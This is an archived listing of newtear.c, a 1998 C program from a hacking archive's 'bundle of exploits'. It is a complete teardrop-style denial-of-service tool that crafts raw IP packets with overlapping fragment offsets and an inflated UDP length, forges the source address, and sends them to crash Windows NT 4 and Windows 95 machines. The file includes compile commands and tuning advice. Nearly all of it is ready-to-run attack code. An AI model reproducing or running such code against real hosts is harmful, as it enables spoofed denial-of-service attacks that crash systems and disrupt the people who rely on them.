home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / newtear.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  8KB  |  229 lines

  1. /*  Newtear.c
  2.  *  Seemingly, a new teardrop type exploit. Affects NT4, and Win95.
  3.  *
  4.  *  Discovered 01/08/1998
  5.  *
  6.  *  Updated notes:
  7.  *     This is a new version of teardrop.  It affects NT 4 and Win95 machines with all
  8.  *     current patches and hotfixes.  Causes a bluescreen in both operating systems.
  9.  *     Linux appears unaffected, other *NIXes untested.  Differences are:
  10.  *
  11.  *     Smaller padding data size (20 bytes instead of 28 in previous teardrop)
  12.  *     Faked out UDP total length.  (Increased reported UDP length to twice what it really is)
  13.  *
  14.  *  Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97
  15.  *
  16.  *  Linux/NT/95 Overlap frag bug exploit
  17.  *
  18.  *  Exploits the overlapping IP fragment bug present in all Linux kernels and
  19.  *  NT 4.0 / Windows 95 (others?)
  20.  *
  21.  *  Based off of:   flip.c by klepto
  22.  *  Compiles on:    Linux, *BSD*
  23.  *
  24.  *  gcc -O2 teardrop.c -o teardrop
  25.  *      OR
  26.  *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
  27.  */
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <unistd.h>
  32. #include <string.h>
  33. #include <netdb.h>
  34. #include <netinet/in.h>
  35. #include <netinet/udp.h>
  36. #include <arpa/inet.h>
  37. #include <sys/types.h>
  38. #include <sys/time.h>
  39. #include <sys/socket.h>
  40.  
  41. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  42.                         /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
  43. #define FIX(n)  (n)
  44. #else                   /* OpenBSD 2.1, all Linux */
  45. #define FIX(n)  htons(n)
  46. #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
  47.  
  48. #define IP_MF   0x2000  /* More IP fragment en route */
  49. #define IPH     0x14    /* IP header size */
  50. #define UDPH    0x8     /* UDP header size */
  51. #define PADDING 0x14    /* datagram frame padding for first packet */ /* JD Change pad size to 20 decimal. */
  52. #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
  53. #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
  54.                          * withstand maybe 5 or 10 sometimes...  Experiment.
  55.                          */
  56. void usage(u_char *);
  57. u_long name_resolve(u_char *);
  58. u_short in_cksum(u_short *, int);
  59. void send_frags(int, u_long, u_long, u_short, u_short);
  60.  
  61. int main(int argc, char **argv)
  62. {
  63.     int one = 1, count = 0, i, rip_sock;
  64.     u_long  src_ip = 0, dst_ip = 0;
  65.     u_short src_prt = 0, dst_prt = 0;
  66.     struct in_addr addr;
  67.  
  68.     fprintf(stderr, "teardrop   route|daemon9\n\n");
  69.  
  70.     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  71.     {
  72.         perror("raw socket");
  73.         exit(1);
  74.     }
  75.     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
  76.         < 0)
  77.     {
  78.         perror("IP_HDRINCL");
  79.         exit(1);
  80.     }
  81.     if (argc < 3) usage(argv[0]);
  82.     if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  83.     {
  84.         fprintf(stderr, "What the hell kind of IP address is that?\n");
  85.         exit(1);
  86.     }
  87.  
  88.     while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
  89.     {
  90.         switch (i)
  91.         {
  92.             case 's':               /* source port (should be emphemeral) */
  93.                 src_prt = (u_short)atoi(optarg);
  94.                 break;
  95.             case 't':               /* dest port (DNS, anyone?) */
  96.                 dst_prt = (u_short)atoi(optarg);
  97.                 break;
  98.             case 'n':               /* number to send */
  99.                 count   = atoi(optarg);
  100.                 break;
  101.             default :
  102.                 usage(argv[0]);
  103.                 break;              /* NOTREACHED */
  104.         }
  105.     }
  106.     srandom((unsigned)(time((time_t)0)));
  107.     if (!src_prt) src_prt = (random() % 0xffff);
  108.     if (!dst_prt) dst_prt = (random() % 0xffff);
  109.     if (!count)   count   = COUNT;
  110.  
  111.     fprintf(stderr, "Death on flaxen wings:\n");
  112.     addr.s_addr = src_ip;
  113.     fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
  114.     addr.s_addr = dst_ip;
  115.     fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
  116.     fprintf(stderr, " Amt: %5d\n", count);
  117.     fprintf(stderr, "[ ");
  118.  
  119.     for (i = 0; i < count; i++)
  120.     {
  121.         send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  122.         fprintf(stderr, "b00m ");
  123.         usleep(500);
  124.     }
  125.     fprintf(stderr, "]\n");
  126.     return (0);
  127. }
  128.  
  129. /*
  130.  *  Send two IP fragments with pathological offsets.  We use an implementation
  131.  *  independent way of assembling network packets that does not rely on any of
  132.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  133.  */
  134.  
  135. void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  136.                 u_short dst_prt)
  137. {
  138.     u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
  139.     u_char byte;                            /* a byte */
  140.     struct sockaddr_in sin;                 /* socket protocol structure */
  141.  
  142.     sin.sin_family      = AF_INET;
  143.     sin.sin_port        = src_prt;
  144.     sin.sin_addr.s_addr = dst_ip;
  145.  
  146.     /*
  147.      * Grab some memory for our packet, align p_ptr to point at the beginning
  148.      * of our packet, and then fill it with zeros.
  149.      */
  150.     packet = (u_char *)malloc(IPH + UDPH + PADDING);
  151.     p_ptr  = packet;
  152.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero
  153.  
  154.     byte = 0x45;                        /* IP version and header length */
  155.     memcpy(p_ptr, &byte, sizeof(u_char));
  156.     p_ptr += 2;                         /* IP TOS (skipped) */
  157.     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
  158.     p_ptr += 2;
  159.     *((u_short *)p_ptr) = htons(242);   /* IP id */
  160.     p_ptr += 2;
  161.     *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
  162.     p_ptr += 2;
  163.     *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  164.     byte = IPPROTO_UDP;
  165.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  166.     p_ptr += 4;                         /* IP checksum filled in by kernel */
  167.     *((u_long *)p_ptr) = src_ip;        /* IP source address */
  168.     p_ptr += 4;
  169.     *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  170.     p_ptr += 4;
  171.     *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  172.     p_ptr += 2;
  173.     *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  174.     p_ptr += 2;
  175.     *((u_short *)p_ptr) = htons(8 + PADDING*2);   /* UDP total length */ /* Increases UDP total length to 48 bytes
  176.                                                      Which is too big! */
  177.  
  178.     if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
  179.                 sizeof(struct sockaddr)) == -1)
  180.     {
  181.         perror("\nsendto");
  182.         free(packet);
  183.         exit(1);
  184.     }
  185.  
  186.     /*  We set the fragment offset to be inside of the previous packet's
  187.      *  payload (it overlaps inside the previous packet) but do not include
  188.      *  enough payload to cover complete the datagram.  Just the header will
  189.      *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  190.      *  better.
  191.      */
  192.     p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
  193.     *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
  194.     p_ptr += 4;                 /* IP offset is 6 bytes into the header */
  195.     *((u_short *)p_ptr) = FIX(MAGIC);
  196.  
  197.     if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
  198.                 sizeof(struct sockaddr)) == -1)
  199.     {
  200.         perror("\nsendto");
  201.         free(packet);
  202.         exit(1);
  203.     }
  204.     free(packet);
  205. }
  206.  
  207. u_long name_resolve(u_char *host_name)
  208. {
  209.     struct in_addr addr;
  210.     struct hostent *host_ent;
  211.  
  212.     if ((addr.s_addr = inet_addr(host_name)) == -1)
  213.     {
  214.         if (!(host_ent = gethostbyname(host_name))) return (0);
  215.         bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
  216.     }
  217.     return (addr.s_addr);
  218. }
  219.  
  220. void usage(u_char *name)
  221. {
  222.     fprintf(stderr,
  223.             "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
  224.             name);
  225.     exit(0);
  226. }
  227.  
  228. /* EOF */
  229.